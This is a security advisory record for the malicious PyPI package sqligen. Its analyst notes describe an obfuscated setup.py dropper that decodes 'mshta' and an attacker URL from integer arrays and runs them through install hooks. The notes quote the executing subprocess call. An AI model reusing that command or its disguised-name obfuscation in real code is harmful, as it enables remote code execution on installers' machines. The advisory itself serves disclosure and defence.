---
id: MAL-2026-6515
title: Malicious code in sqligen (PyPI)
summary: Malicious code in sqligen (PyPI)
severity: none
vendor: sqligen
product: sqligen
ecosystem: pip
affected:
  - sqligen
published: '2026-06-26'
updated: '2026-07-08'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/MAL-2026-6515'
references:
  - url: >-
      https://www.virustotal.com/gui/file/1a5beab4a6facb46b4afc5f8526e1327e6c7d740ccaf34c6a921ac18eff29427/detection
  - url: >-
      https://www.virustotal.com/gui/file/4c99c8edfc4444f46932f14afccb2952a3850df765765f9ac793d69f318c192f/detection
  - url: >-
      https://www.virustotal.com/gui/file/0649f50ead3695f41c1243883200bdb775410bcd8c8fb88277740a625a154e25
  - url: >-
      https://www.virustotal.com/gui/file/926e8f1a7f349ff1eef31f89fa8ffe265c30b92e310e8bea19962d38f8c32129
  - url: 'https://bad-packages.kam193.eu/pypi/package/sqligen'
  - url: 'https://pypi.org/project/sqligen/1.0.7/'
  - url: 'https://pypi.org/project/sqligen/1.1.4/'
  - url: 'https://pypi.org/project/sqligen/1.0.8/'
  - url: 'https://pypi.org/project/sqligen/1.1.1/'
  - url: 'https://pypi.org/project/sqligen/1.0.0/'
  - url: 'https://pypi.org/project/sqligen/1.0.5/'
  - url: 'https://pypi.org/project/sqligen/1.0.6/'
tags:
  - osv
  - pip
ingestedAt: '2026-07-09T11:56:19.599Z'
---

## Overview


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## Source: amazon-inspector (de59ac5884f286d69e42a71ba0cb7b99aa06d2b1f0e28a279a84d3db86eb3196)
setup.py contains an obfuscated install-time dropper that fires on Windows. Two functions with diagnostic-sounding names ('GetDefaultSystemPolicy' / 'CalculateNodeDrift', backed by integer arrays presented as 'InterruptThresholds' and 'ThreadPingLatencies') decode via chr(value+14) arithmetic to the strings 'mshta' and 'https://fixars.top'. On Windows, GetGitCommitHash() runs subprocess.check_output(['mshta', 'https://fixars.top'], shell=True), executing an arbitrary remote HTA payload from fixars.top. This codepath is reached from CustomInstallCommand, CustomBuildPyCommand, and CustomDevelopCommand, so any `pip install sqligen` (or `pip install -e.`) on a Windows host triggers remote code execution under the installing user's account. The obfuscation (cover-story variable names, chr-shift encoding of the command and URL) demonstrates intentional evasion of source review; legitimate build tooling does not encode 'mshta' as 'hardware interrupt latency thresholds'. The fetched payload is attacker-controlled and unrelated to the package's stated SQL-generation purpose.

## Source: kam193 (b84d9f4006cbb5db6790a6de402754f0937758e861efe6ec0bc3ba156415327c)
During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.


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Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.


Campaign: 2026-06-easyaillm


Reasons (based on the campaign):


 - Downloads and executes a remote executable.


 - obfuscation


 - malware


 - tool:mshta


## Affected packages

- `sqligen`

## Remediation

Refer to the advisory for the patched release.